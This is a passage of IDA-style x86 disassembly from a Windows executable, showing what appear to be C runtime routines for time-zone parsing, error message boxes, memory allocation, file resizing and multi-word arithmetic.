jnz short loc_41DFF2
loc_41E055: ; CODE XREF: sub_41DFCD+5Cj
cmp [ebp+arg_8], eax
jb short loc_41E05F
cmp [esi+1], bl
jnz short loc_41DFF2
loc_41E05F: ; CODE XREF: sub_41DFCD+61j
; sub_41DFCD+8Bj ...
mov dword_4694B4, 2Ah
or eax, 0FFFFFFFFh
jmp short loc_41DFF2
; ---------------------------------------------------------------------------
loc_41E06E: ; CODE XREF: sub_41DFCD+52j
xor eax, eax
cmp [ebp+arg_0], ebx
setnz al
push eax
push [ebp+arg_0]
push 1
push esi
push 9
push dword_469558
call dword_421064
test eax, eax
jnz loc_41E00C
jmp short loc_41E05F
sub_41DFCD endp
; =============== S U B R O U T I N E =======================================
sub_41E095 proc near ; CODE XREF: sub_41AD3D+76p
; sub_41AD3D+88p ...
arg_0 = dword ptr 4
cmp dword_437F9C, 1
jle short loc_41E0AC
push 8
push [esp+4+arg_0]
call sub_418556
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_41E0AC: ; CODE XREF: sub_41E095+7j
mov eax, [esp+arg_0]
mov ecx, off_437D90
mov al, [ecx+eax*2]
and eax, 8
retn
sub_41E095 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41E0C0 proc near ; CODE XREF: sub_41AD3D+797p
; sub_41AD3D+7E7p
cmp cl, 40h
jnb short loc_41E0DA
cmp cl, 20h
jnb short loc_41E0D0
shld edx, eax, cl
shl eax, cl
retn
; ---------------------------------------------------------------------------
loc_41E0D0: ; CODE XREF: sub_41E0C0+8j
mov edx, eax
xor eax, eax
and cl, 1Fh
shl edx, cl
retn
; ---------------------------------------------------------------------------
loc_41E0DA: ; CODE XREF: sub_41E0C0+3j
xor eax, eax
xor edx, edx
retn
sub_41E0C0 endp
; =============== S U B R O U T I N E =======================================
sub_41E0DF proc near ; CODE XREF: sub_41B7B3+Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_0]
cmp ebx, 0FFFFFFFFh
push esi
jz short loc_41E12B
mov esi, [esp+8+arg_4]
mov eax, [esi+0Ch]
test al, 1
jnz short loc_41E0FD
test al, 80h
jz short loc_41E12B
test al, 2
jnz short loc_41E12B
loc_41E0FD: ; CODE XREF: sub_41E0DF+14j
cmp dword ptr [esi+8], 0
jnz short loc_41E10A
push esi
call sub_41D06C
pop ecx
loc_41E10A: ; CODE XREF: sub_41E0DF+22j
mov eax, [esi]
cmp eax, [esi+8]
jnz short loc_41E11A
cmp dword ptr [esi+4], 0
jnz short loc_41E12B
inc eax
mov [esi], eax
loc_41E11A: ; CODE XREF: sub_41E0DF+30j
test byte ptr [esi+0Ch], 40h
jz short loc_41E131
dec dword ptr [esi]
mov eax, [esi]
cmp [eax], bl
jz short loc_41E137
inc eax
mov [esi], eax
loc_41E12B: ; CODE XREF: sub_41E0DF+9j
; sub_41E0DF+18j ...
or eax, 0FFFFFFFFh
loc_41E12E: ; CODE XREF: sub_41E0DF+6Cj
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41E131: ; CODE XREF: sub_41E0DF+3Fj
dec dword ptr [esi]
mov eax, [esi]
mov [eax], bl
loc_41E137: ; CODE XREF: sub_41E0DF+47j
mov eax, [esi+0Ch]
inc dword ptr [esi+4]
and al, 0EFh
or al, 1
mov [esi+0Ch], eax
mov eax, ebx
and eax, 0FFh
jmp short loc_41E12E
sub_41E0DF endp
; =============== S U B R O U T I N E =======================================
sub_41E14D proc near ; CODE XREF: sub_41B7EE:loc_41B82Dp
cmp dword_469770, 0
jnz short locret_41E161
call sub_41E162
inc dword_469770
locret_41E161: ; CODE XREF: sub_41E14D+7j
retn
sub_41E14D endp
; =============== S U B R O U T I N E =======================================
sub_41E162 proc near ; CODE XREF: sub_41E14D+9p
var_4 = dword ptr -4
push ecx
push ebx
push ebp
push esi
push edi
xor ebp, ebp
or ebx, 0FFFFFFFFh
push offset aTz ; "TZ"
xor edi, edi
mov dword_4696B8, ebp
mov dword_4387E8, ebx
mov dword_4387D8, ebx
call sub_41F409
mov esi, eax
pop ecx
cmp esi, ebp
jnz loc_41E28B
push offset dword_4696C0
call dword_421158
cmp eax, ebx
jz loc_41E3BA
mov eax, dword_4696C0
mov ecx, dword_469714
imul eax, 3Ch
cmp word_469706, bp
push 1
pop edx
mov dword_438740, eax
mov dword_4696B8, edx
jz short loc_41E1D9
mov esi, ecx
imul esi, 3Ch
add eax, esi
mov dword_438740, eax
loc_41E1D9: ; CODE XREF: sub_41E162+69j
cmp word_46975A, bp
jz short loc_41E1FD
mov eax, dword_469768
cmp eax, ebp
jz short loc_41E1FD
sub eax, ecx
mov dword_438744, edx
imul eax, 3Ch
mov dword_438748, eax
jmp short loc_41E209
; ---------------------------------------------------------------------------
loc_41E1FD: ; CODE XREF: sub_41E162+7Ej
; sub_41E162+87j
mov dword_438744, ebp
mov dword_438748, ebp
loc_41E209: ; CODE XREF: sub_41E162+99j
lea eax, [esp+14h+var_4]
mov esi, dword_421138
push eax
push ebp
push 3Fh
mov edi, 220h
push off_4387CC
push ebx
push offset dword_4696C4
push edi
push dword_469558
call esi
test eax, eax
jz short loc_41E246
cmp [esp+14h+var_4], ebp
jnz short loc_41E246
mov eax, off_4387CC
and byte ptr [eax+3Fh], 0
jmp short loc_41E24E
; ---------------------------------------------------------------------------
loc_41E246: ; CODE XREF: sub_41E162+D1j
; sub_41E162+D7j
mov eax, off_4387CC
and byte ptr [eax], 0
loc_41E24E: ; CODE XREF: sub_41E162+E2j
lea eax, [esp+14h+var_4]
push eax
push ebp
push 3Fh
push off_4387D0
push ebx
push offset dword_469718
push edi
push dword_469558
call esi
test eax, eax
jz loc_41E3B2
cmp [esp+14h+var_4], ebp
jnz loc_41E3B2
mov eax, off_4387D0
and byte ptr [eax+3Fh], 0
jmp loc_41E3BA
; ---------------------------------------------------------------------------
loc_41E28B: ; CODE XREF: sub_41E162+2Dj
cmp byte ptr [esi], 0
jz loc_41E3BA
mov eax, dword_46976C
cmp eax, ebp
jz short loc_41E2AE
push eax
push esi
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_41E3BA
loc_41E2AE: ; CODE XREF: sub_41E162+139j
push dword_46976C
call sub_415E3D
push esi
call sub_415CF0
inc eax
push eax
call sub_415DC9
add esp, 0Ch
cmp eax, ebp
mov dword_46976C, eax
jz loc_41E3BA
push esi
push eax
call sub_415C00
push 3
push esi
push off_4387CC
call sub_416D40
mov eax, off_4387CC
add esi, 3
add esp, 14h
and byte ptr [eax+3], 0
cmp byte ptr [esi], 2Dh
jnz short loc_41E303
push 1
inc esi
pop edi
loc_41E303: ; CODE XREF: sub_41E162+19Bj
push esi
call sub_4159D4
pop ecx
mov bl, 30h
mov ecx, eax
imul ecx, 0E10h
mov dword_438740, ecx
loc_41E31A: ; CODE XREF: sub_41E162+1C7j
mov al, [esi]
cmp al, 2Bh
jz short loc_41E328
cmp al, bl
jl short loc_41E32B
cmp al, 39h
jg short loc_41E32B
loc_41E328: ; CODE XREF: sub_41E162+1BCj
inc esi
jmp short loc_41E31A
; ---------------------------------------------------------------------------
loc_41E32B: ; CODE XREF: sub_41E162+1C0j
; sub_41E162+1C4j
cmp byte ptr [esi], 3Ah
jnz short loc_41E37E
inc esi
push esi
call sub_4159D4
imul eax, 3Ch
pop ecx
mov ecx, dword_438740
add ecx, eax
mov dword_438740, ecx
loc_41E349: ; CODE XREF: sub_41E162+1F2j
mov al, [esi]
cmp al, bl
jl short loc_41E356
cmp al, 39h
jg short loc_41E356
inc esi
jmp short loc_41E349
; ---------------------------------------------------------------------------
loc_41E356: ; CODE XREF: sub_41E162+1EBj
; sub_41E162+1EFj
cmp byte ptr [esi], 3Ah
jnz short loc_41E37E
inc esi
push esi
call sub_4159D4
pop ecx
mov ecx, dword_438740
add ecx, eax
mov dword_438740, ecx
loc_41E371: ; CODE XREF: sub_41E162+21Aj
mov al, [esi]
cmp al, bl
jl short loc_41E37E
cmp al, 39h
jg short loc_41E37E
inc esi
jmp short loc_41E371
; ---------------------------------------------------------------------------
loc_41E37E: ; CODE XREF: sub_41E162+1CCj
; sub_41E162+1F7j ...
cmp edi, ebp
jz short loc_41E38A
neg ecx
mov dword_438740, ecx
loc_41E38A: ; CODE XREF: sub_41E162+21Ej
movsx eax, byte ptr [esi]
cmp eax, ebp
mov dword_438744, eax
jz short loc_41E3B2
push 3
push esi
push off_4387D0
call sub_416D40
mov eax, off_4387D0
add esp, 0Ch
and byte ptr [eax+3], 0
jmp short loc_41E3BA
; ---------------------------------------------------------------------------
loc_41E3B2: ; CODE XREF: sub_41E162+10Bj
; sub_41E162+115j ...
mov eax, off_4387D0
and byte ptr [eax], 0
loc_41E3BA: ; CODE XREF: sub_41E162+40j
; sub_41E162+124j ...
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
sub_41E162 endp
; =============== S U B R O U T I N E =======================================
sub_41E3C0 proc near ; CODE XREF: sub_41B7EE+A5p
arg_0 = dword ptr 4
push ebx
push esi
push edi
xor edi, edi
cmp dword_438744, edi
jnz short loc_41E3D4
loc_41E3CD: ; CODE XREF: sub_41E3C0+148j
; sub_41E3C0+150j ...
xor eax, eax
jmp loc_41E520
; ---------------------------------------------------------------------------
loc_41E3D4: ; CODE XREF: sub_41E3C0+Bj
mov esi, [esp+0Ch+arg_0]
push 1
pop ebx
mov eax, [esi+14h]
cmp eax, dword_4387D8
jnz short loc_41E3F2
cmp eax, dword_4387E8
jz loc_41E4F4
loc_41E3F2: ; CODE XREF: sub_41E3C0+24j
cmp dword_4696B8, edi
jz loc_41E4CA
movzx ecx, word_469766
push ecx
cmp word_469758, di
movzx ecx, word_469764
push ecx
movzx ecx, word_469762
push ecx
movzx ecx, word_469760
push ecx
jnz short loc_41E444
movzx ecx, word_46975C
push edi
push ecx
movzx ecx, word_46975E
push ecx
movzx ecx, word_46975A
push ecx
push eax
push ebx
jmp short loc_41E458
; ---------------------------------------------------------------------------
loc_41E444: ; CODE XREF: sub_41E3C0+65j
movzx ecx, word_46975E
push ecx
push edi
movzx ecx, word_46975A
push edi
push ecx
push eax
push edi
loc_41E458: ; CODE XREF: sub_41E3C0+82j
push ebx
call sub_41E56C
movzx eax, word_469712
add esp, 2Ch
cmp word_469704, di
push eax
movzx eax, word_469710
push eax
movzx eax, word_46970E
push eax
movzx eax, word_46970C
push eax
jnz short loc_41E4B2
movzx eax, word_469708
push edi
push eax
movzx eax, word_46970A
push eax
movzx eax, word_469706
push eax
push dword ptr [esi+14h]
push ebx
loc_41E4A7: ; CODE XREF: sub_41E3C0+108j
push edi
call sub_41E56C
add esp, 2Ch
jmp short loc_41E4F4
; ---------------------------------------------------------------------------
loc_41E4B2: ; CODE XREF: sub_41E3C0+C8j
movzx eax, word_46970A
push eax
push edi
movzx eax, word_469706
push edi
push eax
push dword ptr [esi+14h]
push edi
jmp short loc_41E4A7
; ---------------------------------------------------------------------------
loc_41E4CA: ; CODE XREF: sub_41E3C0+38j
push edi
push edi
push edi
push 2
push edi
push edi
push ebx
push 4
push eax
push ebx
push ebx
call sub_41E56C
push edi
push edi
push edi
push 2
push edi
push edi
push 5
push 0Ah
push dword ptr [esi+14h]
push ebx
push edi
call sub_41E56C
add esp, 58h
loc_41E4F4: ; CODE XREF: sub_41E3C0+2Cj
; sub_41E3C0+F0j
mov edx, dword_4387DC
mov eax, dword_4387EC
mov ecx, [esi+1Ch]
cmp edx, eax
jge short loc_41E524
cmp ecx, edx
jl loc_41E3CD
cmp ecx, eax
jg loc_41E3CD
cmp ecx, edx
jle short loc_41E538
cmp ecx, eax
jge short loc_41E538
loc_41E51E: ; CODE XREF: sub_41E3C0+166j
; sub_41E3C0+16Aj
mov eax, ebx
loc_41E520: ; CODE XREF: sub_41E3C0+Fj
; sub_41E3C0+19Dj
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41E524: ; CODE XREF: sub_41E3C0+144j
cmp ecx, eax
jl short loc_41E51E
cmp ecx, edx
jg short loc_41E51E
cmp ecx, eax
jle short loc_41E538
cmp ecx, edx
jl loc_41E3CD
loc_41E538: ; CODE XREF: sub_41E3C0+158j
; sub_41E3C0+15Cj ...
mov eax, [esi+8]
imul eax, 3Ch
add eax, [esi+4]
imul eax, 3Ch
add eax, [esi]
imul eax, 3E8h
cmp ecx, edx
jnz short loc_41E55F
xor ecx, ecx
cmp eax, dword_4387E0
setnl cl
loc_41E55B: ; CODE XREF: sub_41E3C0+1AAj
mov eax, ecx
jmp short loc_41E520
; ---------------------------------------------------------------------------
loc_41E55F: ; CODE XREF: sub_41E3C0+18Ej
xor ecx, ecx
cmp eax, dword_4387F0
setl cl
jmp short loc_41E55B
sub_41E3C0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E56C proc near ; CODE XREF: sub_41E3C0+99p
; sub_41E3C0+E8p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = dword ptr 30h
push ebp
mov ebp, esp
cmp [ebp+arg_4], 1
push ebx
mov ebx, [ebp+arg_8]
push esi
jnz loc_41E607
mov eax, [ebp+arg_C]
mov [ebp+arg_8], ebx
and [ebp+arg_8], 3
mov esi, eax
jnz short loc_41E597
shl esi, 2
mov eax, dword_4387F0[esi]
jmp short loc_41E5A0
; ---------------------------------------------------------------------------
loc_41E597: ; CODE XREF: sub_41E56C+1Ej
shl esi, 2
mov eax, dword_438824[esi]
loc_41E5A0: ; CODE XREF: sub_41E56C+29j
mov edx, ebx
lea ecx, [eax+1]
imul edx, 16Dh
lea eax, [ebx-1]
push edi
sar eax, 2
mov edi, ecx
push 7
add edi, eax
lea eax, [edx+edi-63DBh]
pop edi
cdq
idiv edi
mov eax, [ebp+arg_10]
pop edi
cmp edx, [ebp+arg_14]
jge short loc_41E5DA
imul eax, 7
sub eax, edx
add eax, [ebp+arg_14]
lea ecx, [ecx+eax-7]
jmp short loc_41E5E4
; ---------------------------------------------------------------------------
loc_41E5DA: ; CODE XREF: sub_41E56C+5Ej
imul eax, 7
sub eax, edx
add eax, [ebp+arg_14]
add ecx, eax
loc_41E5E4: ; CODE XREF: sub_41E56C+6Cj
cmp [ebp+arg_10], 5
jnz short loc_41E622
cmp [ebp+arg_8], 0
jnz short loc_41E5F8
mov esi, dword_4387F4[esi]
jmp short loc_41E5FE
; ---------------------------------------------------------------------------
loc_41E5F8: ; CODE XREF: sub_41E56C+82j
mov esi, dword_438828[esi]
loc_41E5FE: ; CODE XREF: sub_41E56C+8Aj
cmp ecx, esi
jle short loc_41E622
sub ecx, 7
jmp short loc_41E622
; ---------------------------------------------------------------------------
loc_41E607: ; CODE XREF: sub_41E56C+Cj
mov eax, [ebp+arg_C]
test bl, 3
jnz short loc_41E618
mov ecx, dword_4387F0[eax*4]
jmp short loc_41E61F
; ---------------------------------------------------------------------------
loc_41E618: ; CODE XREF: sub_41E56C+A1j
mov ecx, dword_438824[eax*4]
loc_41E61F: ; CODE XREF: sub_41E56C+AAj
add ecx, [ebp+arg_18]
loc_41E622: ; CODE XREF: sub_41E56C+7Cj
; sub_41E56C+94j ...
cmp [ebp+arg_0], 1
jnz short loc_41E653
mov eax, [ebp+arg_1C]
mov dword_4387DC, ecx
imul eax, 3Ch
add eax, [ebp+arg_20]
mov dword_4387D8, ebx
imul eax, 3Ch
add eax, [ebp+arg_24]
imul eax, 3E8h
add eax, [ebp+arg_28]
mov dword_4387E0, eax
jmp short loc_41E6A8
; ---------------------------------------------------------------------------
loc_41E653: ; CODE XREF: sub_41E56C+BAj
mov eax, [ebp+arg_1C]
mov dword_4387EC, ecx
imul eax, 3Ch
add eax, [ebp+arg_20]
imul eax, 3Ch
add eax, dword_438748
add eax, [ebp+arg_24]
imul eax, 3E8h
add eax, [ebp+arg_28]
mov dword_4387F0, eax
jns short loc_41E68B
add eax, 5265C00h
dec ecx
mov dword_4387F0, eax
jmp short loc_41E69C
; ---------------------------------------------------------------------------
loc_41E68B: ; CODE XREF: sub_41E56C+110j
mov edx, 5265C00h
cmp eax, edx
jl short loc_41E6A2
sub eax, edx
inc ecx
mov dword_4387F0, eax
loc_41E69C: ; CODE XREF: sub_41E56C+11Dj
mov dword_4387EC, ecx
loc_41E6A2: ; CODE XREF: sub_41E56C+126j
mov dword_4387E8, ebx
loc_41E6A8: ; CODE XREF: sub_41E56C+E5j
pop esi
pop ebx
pop ebp
retn
sub_41E56C endp
; =============== S U B R O U T I N E =======================================
sub_41E6AC proc near ; CODE XREF: sub_41C7C2+2Bp
arg_0 = dword ptr 4
push 4
push 0
push [esp+8+arg_0]
call sub_41E6BD
add esp, 0Ch
retn
sub_41E6AC endp
; =============== S U B R O U T I N E =======================================
sub_41E6BD proc near ; CODE XREF: sub_41E6AC+8p
arg_0 = byte ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
movzx eax, [esp+arg_0]
mov cl, [esp+arg_8]
test byte_46AA01[eax], cl
jnz short loc_41E6EA
cmp [esp+arg_4], 0
jz short loc_41E6E3
movzx eax, word_437D9A[eax*2]
and eax, [esp+arg_4]
jmp short loc_41E6E5
; ---------------------------------------------------------------------------
loc_41E6E3: ; CODE XREF: sub_41E6BD+16j
xor eax, eax
loc_41E6E5: ; CODE XREF: sub_41E6BD+24j
test eax, eax
jnz short loc_41E6EA
retn
; ---------------------------------------------------------------------------
loc_41E6EA: ; CODE XREF: sub_41E6BD+Fj
; sub_41E6BD+2Aj
push 1
pop eax
retn
sub_41E6BD endp
; =============== S U B R O U T I N E =======================================
sub_41E6EE proc near ; CODE XREF: sub_41CF19+11Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
xor ebx, ebx
cmp dword_469774, ebx
push esi
push edi
jnz short loc_41E73D
push offset aUser32_dll ; "user32.dll"
call dword_4210C0
mov edi, eax
cmp edi, ebx
jz short loc_41E773
mov esi, dword_4210C4
push offset aMessageboxa ; "MessageBoxA"
push edi
call esi
test eax, eax
mov dword_469774, eax
jz short loc_41E773
push offset aGetactivewindo ; "GetActiveWindow"
push edi
call esi
push offset aGetlastactivep ; "GetLastActivePopup"
push edi
mov dword_469778, eax
call esi
mov dword_46977C, eax
loc_41E73D: ; CODE XREF: sub_41E6EE+Bj
mov eax, dword_469778
test eax, eax
jz short loc_41E75C
call eax
mov ebx, eax
test ebx, ebx
jz short loc_41E75C
mov eax, dword_46977C
test eax, eax
jz short loc_41E75C
push ebx
call eax
mov ebx, eax
loc_41E75C: ; CODE XREF: sub_41E6EE+56j
; sub_41E6EE+5Ej ...
push [esp+0Ch+arg_8]
push [esp+10h+arg_4]
push [esp+14h+arg_0]
push ebx
call dword_469774
loc_41E76F: ; CODE XREF: sub_41E6EE+87j
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41E773: ; CODE XREF: sub_41E6EE+1Cj
; sub_41E6EE+33j
xor eax, eax
jmp short loc_41E76F
sub_41E6EE endp
; =============== S U B R O U T I N E =======================================
sub_41E777 proc near ; CODE XREF: sub_41D0D6+22p
; sub_41D0D6+3Bp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
mov esi, [esp+8+arg_0]
push edi
imul esi, [esp+0Ch+arg_4]
cmp esi, 0FFFFFFE0h
mov ebx, esi
ja short loc_41E797
test esi, esi
jnz short loc_41E791
push 1
pop esi
loc_41E791: ; CODE XREF: sub_41E777+15j
add esi, 0Fh
and esi, 0FFFFFFF0h
loc_41E797: ; CODE XREF: sub_41E777+11j
; sub_41E777+65j
xor edi, edi
cmp esi, 0FFFFFFE0h
ja short loc_41E7C8
cmp ebx, dword_437FAC
ja short loc_41E7B3
push ebx
call sub_418E53
mov edi, eax
pop ecx
test edi, edi
jnz short loc_41E7DE
loc_41E7B3: ; CODE XREF: sub_41E777+2Dj
push esi
push 8
push dword_46AB20
call dword_42114C
mov edi, eax
test edi, edi
jnz short loc_41E7EA
loc_41E7C8: ; CODE XREF: sub_41E777+25j
cmp dword_469514, 0
jz short loc_41E7EA
push esi
call sub_418A68
test eax, eax
pop ecx
jz short loc_41E7F0
jmp short loc_41E797
; ---------------------------------------------------------------------------
loc_41E7DE: ; CODE XREF: sub_41E777+3Aj
push ebx
push 0
push edi
call sub_415570
add esp, 0Ch
loc_41E7EA: ; CODE XREF: sub_41E777+4Fj
; sub_41E777+58j
mov eax, edi
loc_41E7EC: ; CODE XREF: sub_41E777+7Bj
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41E7F0: ; CODE XREF: sub_41E777+63j
xor eax, eax
jmp short loc_41E7EC
sub_41E777 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_41D17B
loc_41E7F4: ; CODE XREF: sub_41D17B+Ej
push esi
push edi
push 3
xor edi, edi
pop esi
cmp dword_46A7C0, esi
jle short loc_41E847
loc_41E803: ; CODE XREF: sub_41D17B+16CAj
mov eax, dword_4697A0
mov eax, [eax+esi*4]
test eax, eax
jz short loc_41E83E
test byte ptr [eax+0Ch], 83h
jz short loc_41E822
push eax
call sub_415B40
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41E822
inc edi
loc_41E822: ; CODE XREF: sub_41D17B+1698j
; sub_41D17B+16A4j
cmp esi, 14h
jl short loc_41E83E
mov eax, dword_4697A0
push dword ptr [eax+esi*4]
call sub_415E3D
mov eax, dword_4697A0
pop ecx
and dword ptr [eax+esi*4], 0
loc_41E83E: ; CODE XREF: sub_41D17B+1692j
; sub_41D17B+16AAj
inc esi
cmp esi, dword_46A7C0
jl short loc_41E803
loc_41E847: ; CODE XREF: sub_41D17B+1686j
mov eax, edi
pop edi
pop esi
retn
; END OF FUNCTION CHUNK FOR sub_41D17B
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E84C proc near ; CODE XREF: sub_41D55A+271p
var_1000 = byte ptr -1000h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 1000h
call sub_415D70
push ebx
mov ebx, [ebp+arg_0]
push esi
xor esi, esi
cmp ebx, dword_46A8E0
jnb loc_41E981
mov eax, ebx
mov ecx, ebx
sar eax, 5
and ecx, 1Fh
mov eax, dword_46A7E0[eax*4]
test byte ptr [eax+ecx*8+4], 1
jz loc_41E981
push 1
push esi
push ebx
call sub_41BB7F
add esp, 0Ch
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jz loc_41E98B
push 2
push esi
push ebx
call sub_41BB7F
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz loc_41E98B
push edi
mov edi, [ebp+arg_4]
sub edi, eax
test edi, edi
jle short loc_41E92E
push 1000h
lea eax, [ebp+var_1000]
push esi
push eax
call sub_415570
push 8000h
push ebx
call sub_41F486
add esp, 14h
mov [ebp+arg_4], eax
loc_41E8E2: ; CODE XREF: sub_41E84C+BDj
mov eax, 1000h
cmp edi, eax
jge short loc_41E8ED
mov eax, edi
loc_41E8ED: ; CODE XREF: sub_41E84C+9Dj
push eax
lea eax, [ebp+var_1000]
push eax
push ebx
call sub_41C42A
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz short loc_41E90B
sub edi, eax
test edi, edi
jle short loc_41E921
jmp short loc_41E8E2
; ---------------------------------------------------------------------------
loc_41E90B: ; CODE XREF: sub_41E84C+B5j
cmp dword_4694B8, 5
jnz short loc_41E91E
mov dword_4694B4, 0Dh
loc_41E91E: ; CODE XREF: sub_41E84C+C6j
or esi, 0FFFFFFFFh
loc_41E921: ; CODE XREF: sub_41E84C+BBj
push [ebp+arg_4]
push ebx
call sub_41F486
pop ecx
pop ecx
jmp short loc_41E96E
; ---------------------------------------------------------------------------
loc_41E92E: ; CODE XREF: sub_41E84C+71j
jge short loc_41E96E
push 0
push [ebp+arg_4]
push ebx
call sub_41BB7F
push ebx
call sub_41D4C6
add esp, 10h
push eax
call dword_421010
mov esi, eax
neg esi
sbb esi, esi
neg esi
dec esi
cmp esi, 0FFFFFFFFh
jnz short loc_41E96E
mov dword_4694B4, 0Dh
call dword_421088
mov dword_4694B8, eax
loc_41E96E: ; CODE XREF: sub_41E84C+E0j
; sub_41E84C:loc_41E92Ej ...
push 0
push [ebp+arg_0]
push ebx
call sub_41BB7F
add esp, 0Ch
mov eax, esi
pop edi
jmp short loc_41E98E
; ---------------------------------------------------------------------------
loc_41E981: ; CODE XREF: sub_41E84C+1Aj
; sub_41E84C+36j
mov dword_4694B4, 9
loc_41E98B: ; CODE XREF: sub_41E84C+4Ej
; sub_41E84C+63j
or eax, 0FFFFFFFFh
loc_41E98E: ; CODE XREF: sub_41E84C+133j
pop esi
pop ebx
leave
retn
sub_41E84C endp
; =============== S U B R O U T I N E =======================================
sub_41E992 proc near ; CODE XREF: sub_41D9C5+2Bp
; sub_41D9C5+42p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_0]
push esi
mov esi, [esp+4+arg_4]
xor eax, eax
lea ecx, [edx+esi]
cmp ecx, edx
jb short loc_41E9A8
cmp ecx, esi
jnb short loc_41E9AB
loc_41E9A8: ; CODE XREF: sub_41E992+10j
push 1
pop eax
loc_41E9AB: ; CODE XREF: sub_41E992+14j
mov edx, [esp+4+arg_8]
pop esi
mov [edx], ecx
retn
sub_41E992 endp
; =============== S U B R O U T I N E =======================================
sub_41E9B3 proc near ; CODE XREF: sub_41EA6C+40p
; sub_41EA6C+61p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
push edi
mov edi, [esp+8+arg_4]
push esi
push dword ptr [edi]
push dword ptr [esi]
call sub_41E992
add esp, 0Ch
test eax, eax
jz short loc_41E9E5
lea eax, [esi+4]
push eax
push 1
push dword ptr [eax]
call sub_41E992
add esp, 0Ch
test eax, eax
jz short loc_41E9E5
inc dword ptr [esi+8]
loc_41E9E5: ; CODE XREF: sub_41E9B3+19j
; sub_41E9B3+2Dj
lea eax, [esi+4]
push eax
push dword ptr [edi+4]
push dword ptr [eax]
call sub_41E992
add esp, 0Ch
test eax, eax
jz short loc_41E9FD
inc dword ptr [esi+8]
loc_41E9FD: ; CODE XREF: sub_41E9B3+45j
lea eax, [esi+8]
push eax
push dword ptr [edi+8]
push dword ptr [eax]
call sub_41E992
add esp, 0Ch
pop edi
pop esi
retn
sub_41E9B3 endp
; =============== S U B R O U T I N E =======================================
sub_41EA11 proc near ; CODE XREF: sub_41EA6C+30p
; sub_41EA6C+36p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
push edi
mov esi, [eax]
mov edi, [eax+4]
mov ecx, esi
add esi, esi
mov [eax], esi
lea esi, [edi+edi]
shr ecx, 1Fh
or esi, ecx
mov ecx, [eax+8]
mov edx, edi
mov [eax+4], esi
shr edx, 1Fh
shl ecx, 1
or ecx, edx
pop edi
mov [eax+8], ecx
pop esi
retn
sub_41EA11 endp
; =============== S U B R O U T I N E =======================================
sub_41EA3F proc near ; CODE XREF: sub_41F004+1C8p
; sub_41F4FC+17Dp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
push edi
mov edx, [eax+8]
mov ecx, [eax+4]
mov esi, edx
mov edi, ecx
shl esi, 1Fh
shr ecx, 1
or ecx, esi
mov [eax+4], ecx
mov ecx, [eax]
shl edi, 1Fh
shr ecx, 1
shr edx, 1
or ecx, edi
pop edi
mov [eax+8], edx
mov [eax], ecx
pop esi
retn
sub_41EA3F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EA6C proc near ; CODE XREF: sub_41EB33+3CAp
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ebp+arg_4]
push ebx
mov ebx, [ebp+arg_8]
xor edx, edx
cmp eax, edx
push esi
mov [ebp+var_4], 404Eh
mov [ebx], edx
mov [ebx+4], edx
mov [ebx+8], edx
jbe short loc_41EAE0
push edi
mov [ebp+arg_8], eax
loc_41EA93: ; CODE XREF: sub_41EA6C+6Fj
mov esi, ebx
lea edi, [ebp+var_10]
movsd
movsd
push ebx
movsd
call sub_41EA11
push ebx
call sub_41EA11
lea eax, [ebp+var_10]
push eax
push ebx
call sub_41E9B3
push ebx
call sub_41EA11
mov eax, [ebp+arg_0]
and [ebp+var_C], 0
and [ebp+var_8], 0
movsx eax, byte ptr [eax]
mov [ebp+var_10], eax
lea eax, [ebp+var_10]
push eax
push ebx
call sub_41E9B3
add esp, 1Ch
inc [ebp+arg_0]
dec [ebp+arg_8]
jnz short loc_41EA93
xor edx, edx
pop edi
loc_41EAE0: ; CODE XREF: sub_41EA6C+21j
; sub_41EA6C+9Fj
cmp [ebx+8], edx
jnz short loc_41EB0D
mov ecx, [ebx+4]
mov eax, ecx
shr eax, 10h
mov [ebx+8], eax
mov eax, [ebx]
mov esi, eax
shr esi, 10h
shl ecx, 10h
or esi, ecx
shl eax, 10h
add [ebp+var_4], 0FFF0h
mov [ebx+4], esi
mov [ebx], eax
jmp short loc_41EAE0
; ---------------------------------------------------------------------------
loc_41EB0D: ; CODE XREF: sub_41EA6C+77j
mov esi, 8000h
loc_41EB12: ; CODE XREF: sub_41EA6C+B9j
test [ebx+8], esi
jnz short loc_41EB27
push ebx
call sub_41EA11
